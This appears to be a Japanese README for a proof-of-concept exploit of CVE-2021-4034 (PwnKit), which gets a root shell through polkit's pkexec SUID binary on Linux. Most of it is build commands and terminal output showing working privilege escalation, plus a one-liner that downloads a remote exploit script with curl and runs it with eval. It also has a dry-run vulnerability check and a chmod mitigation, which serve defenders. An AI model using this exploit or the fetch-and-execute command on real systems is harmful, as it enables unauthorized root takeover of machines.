fei9747/cve-2021-4034CVE-2021-4034 (PwnKit) の概念実証エクスプロイト。Linux システム上で polkit pkexec SUID バイナリを標的にし、ローカル権限昇格を root に達成する。
polkit権限昇格エクスプロイトのための一日
make、./cve-2021-4034を実行するだけで、rootシェルが手に入ります。
実際の作者によるオリジナルアドバイザリはこちら
エクスプロイトが正常に動作した場合、すぐにrootシェルが取得できます。
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
ほとんどのシステムでpolkitを更新すると、エクスプロイトがパッチされるため、使用方法が表示されプログラムが終了します：
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
シェルを実行せずに、システムが脆弱かどうかをテストするだけの場合は、dry-runターゲットをコンパイルしてください。
プログラムが"root"と表示して終了した場合、システムがこのエクスプロイトに対して脆弱であることを意味します。
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
システムが脆弱でない場合、エラーを表示して終了します。
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit（旧称PolicyKit）は、Unix系オペレーティングシステムにおいてシステム全体の権限を制御するためのコンポーネントです。非特権プロセスが特権プロセスと通信するための体系的な方法を提供します。また、polkitを使用して、pkexecコマンドの後に実行したいコマンド（root権限で）を指定することで、昇格した権限でコマンドを実行することも可能です。
次のコマンドを使用して、ダウンロードおよび実行可能な単一のスクリプトで簡単にシステムを悪用できます：
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
お使いのオペレーティングシステムにパッチが利用できない場合、一時的な緩和策としてpkexecからSUIDビットを削除できます。
# chmod 0755 /usr/bin/pkexec
これにより、エクスプロイトはpkexecにsetuidビットが必要であるとエラーを表示して失敗します。
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root